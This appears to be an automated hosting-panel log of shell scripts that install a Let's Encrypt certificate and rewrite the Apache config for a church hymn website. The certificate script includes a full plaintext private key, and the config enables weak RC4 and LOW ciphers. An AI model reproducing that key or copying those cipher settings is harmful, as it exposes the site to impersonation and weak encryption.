MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-30 06:00:01: Establishing a connection
2025-08-30 06:00:02: Establishing a connection
2025-08-30 06:00:03:
PUT: /tmp/pkp485098
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_hymns/.well-known" ]; then
echo 1
else
echo 0
fi
2025-08-30 06:00:04:
chmod 755 /tmp/pkp485098; /tmp/pkp485098; rm /tmp/pkp485098
2025-08-30 06:00:05:
0
2025-08-30 06:00:34: Establishing a connection
2025-08-30 06:00:35:
PUT: /tmp/pkp670191
#!/bin/bash
temp_file=$(mktemp)
TARGET=51ff58e8c1fdb83e589e0546356f00d4
cat > $temp_file <<'endmsg'
9d:e5:1a:e6:ff:a6:10:a9:29:91:ac:ae:36:c8:90:62
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBkrY18H+SClnHhWYxcv98yhvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwMjAzWhcNMjUxMTI4MDUwMjAyWjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA6UipjSb0cOqagJTAsYpATGhxiDOJyhlXrfO9uuJELUn0QZcs
dNapo5okVhk02ztWez1uuojOIwtlbfYRw/jadqs7SxUdeSTXKb4Xi+gmX6DUwRs/
D0lRvQYLIXbW1KaFPbsO3lN0nLGUEkl8T2mEiVMkEgH+y1CGpRebg8HnNBdXNsc+
0xBCXW04TVTqLp9ETYUK5t8HT9Cvm3ySDiL+xhju8SLayPvLGNq+UndHb4eDRH5l
AY0oZF0LssBeFOCJOajVF037clkTdcEvC8bAH7mTp+tCfrzcLO9U2cbATkGuXIGb
pDP3BEbQU0/vPwLb4CC4qiIwHYXcxCBZ3tadFwIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBRbtYY0Far7aVzfQAEG3Ng1yQRwTTAfBgNVHSMEGDAW
gBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMTIuY3JsMIIBAwYKKwYB
BAHWeQIEAgSB9ASB8QDvAHUA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+
P+AAAAGY+ZAyiAAABAMARjBEAiAuArqIBOA8XXZzUZOT5G/09ddmJh9jnB8XXaw/
eOsv1gIgTghq1FAU46eezIcRmPu0iVqh1aXyEEnQoYcj4CA73isAdgDd3Mo0ldfh
FgXnlTL6x5/4PRxQ39sAOhQSdgosrLvIKgAAAZj5kDKiAAAEAwBHMEUCIQDTQo9v
TgDrjdlMss/2F1JwI0QPlcldcoEy2rl9aL89HQIgc+qx4IcBJNZ0hIDSpm/XZR3X
W+4/pAPp8aCAMmCeCQAwDQYJKoZIhvcNAQELBQADggEBAEkQQvj5GkmcpItbw05G
jKWnXjeIPh0IeX/ZHyyojl4c6XLUsnkeckL7LWwmOqHkoDHL1qZLoLjsu21jCkj6
noyxuAFf8wfRh3BzVd+QqSfGZu4BQBaC8ZuJyf4kzcjb/Sfh7XIjNdiwToO+1UAo
2IWK4n5HnKi5gZkJJ5pv3Ct0Il4LFAfcK0sIzE6XUvccwa4AimlgulvzlqL9+Ud/
r4L53TCumrdcYR8RS7dtK+mgmrf5w9L9SajA66blgORZ90qe8IadG3LmKnYQw/R0
JrKoFIsxdhRWKheG/2YeybTX3Wo0uDL3HzZfNtslB0uiYyBnEJBOqUEHDdetouuN
JLU=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQDpSKmNJvRw6pqA
lMCxikBMaHGIM4nKGVet87264kQtSfRBlyx01qmjmiRWGTTbO1Z7PW66iM4jC2Vt
9hHD+Np2qztLFR15JNcpvheL6CZfoNTBGz8PSVG9BgshdtbUpoU9uw7eU3ScsZQS
SXxPaYSJUyQSAf7LUIalF5uDwec0F1c2xz7TEEJdbThNVOoun0RNhQrm3wdP0K+b
fJIOIv7GGO7xItrI+8sY2r5Sd0dvh4NEfmUBjShkXQuywF4U4Ik5qNUXTftyWRN1
wS8LxsAfuZOn60J+vNws71TZxsBOQa5cgZukM/cERtBTT+8/AtvgILiqIjAdhdzE
IFne1p0XAgMBAAECggEBANNhvADi42vNqOIJ5/D3zPtvSDCaQqiV/hTpX2oPzKcc
8+7bBLV6LYzJB1Pc00AzrFFPgR4VCHRIx0e0SLTCsXIGBlwqbeJvt2djkAJ+AQd1
vFKeVa2MSjx1VXClNlTJ7sHY1cgu5uN1JS7M1489lZK5e1214SJpfRfrJEdnVBCl
ushhGDUeeoGtvEGgE9ond2pL/0EATEUYs5dxFC3ZEzFgrtPgPdBTradIVb5/BVRT
t1yIIbmDvgq0X/30xgkA1BSx8EoYFg9MoQFSXMe8QDwcYBhymUOEmE9GKWu8x9tn
QuD1IVPrZpFBY+V2zA72627VP3a2oED7ERp+NLv0/UECgYEA9TLyl9zm/jm2Cxtw
XUcVR0pr8026Hn0KJRwOtKo/O7BNYqfNZUNUTABmet/VJoU1r3OURU34cnAbb2yD
EqA5Bi+Y5VdnRtwCtrl2Sc/uysJud/i80YgDmOw95FbASGQtN9C/vaEjYOiCYjK6
liV6GXbSu2DPamhxnYyX3yn5wA0CgYEA849ZmT5Hr4hZRrfkY4tf1oQ9FyDaoqcX
0ymAOyGviyukttvXH9pZUn2Uc/oCpG+TD8nhnOsMLVJcq+MaIodZ9ldkPJrKh07V
V/Nau7yC+0txiyB1/si6Chckc7YBYh4XOr5rVBeiJZ/+AH8rtOFgOfRSCCIEE5Tj
VbaWczahpLMCgYEAjPXZGQzZjtVGnmQL2NQAm5dhL+JDWTuxFVxn59zntTzJgCnP
nqNyVq70OzdqplZ2YoMjfiQw7DkezJOpVo/duHysfUweB1J8DOfZ5N0w/keAkl/g
zORQjR1jB14H9JYCmM/dKvr0B8YjDqjzM1YgN3tj8mzZUObySgyFUroi5hECgYEA
igau7B1TWrKWhXEpSRBvG46NYFIKFStEYTKfrOMGLIRrMAWeADspa4onWyJP5Qgl
+0iZRugdWoHWasKkyPSTkvsrnvzJ0axnUxRiUwod4HN8wS+ALwdqBtXenoSCfCw5
Vd0bzegmx9PHiliHWFZwxecjpeBBFyfFPYnf8SMAr+kCgYEA03tqMQl+I29z8bs1
6Uh2XV0Youv1SHY4ZfqQnjv8xomMWqGBk3Kbbw0WMebUujylCIrtvVya1OVkUpnC
a2gyd8QUDxH6fXd4itF3dezQBAxBH15UpuqcNmdHMih5bJQ9tvzwcfFeOI/DLPr2
kF99u+66KFHLeGfRG04zheMFXlo=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-08-30 06:00:36:
chmod 755 /tmp/pkp670191; /tmp/pkp670191; rm /tmp/pkp670191
2025-08-30 06:00:36:
dir=/etc/ssl/certs
2025-08-30 06:00:36:
PUT: /tmp/pkp710800
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-08-30 06:00:36:
chmod 755 /tmp/pkp710800; /tmp/pkp710800; rm /tmp/pkp710800
2025-08-30 06:00:37:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf 49
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
2025-08-30 06:00:37:
PUT: /tmp/pkp581181
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_hymns_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hymns.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
DocumentRoot /var/www/hopeinstoughton_hymns
<Directory /var/www/hopeinstoughton_hymns>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/hymns_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf= 1'
fi
2025-08-30 06:00:37:
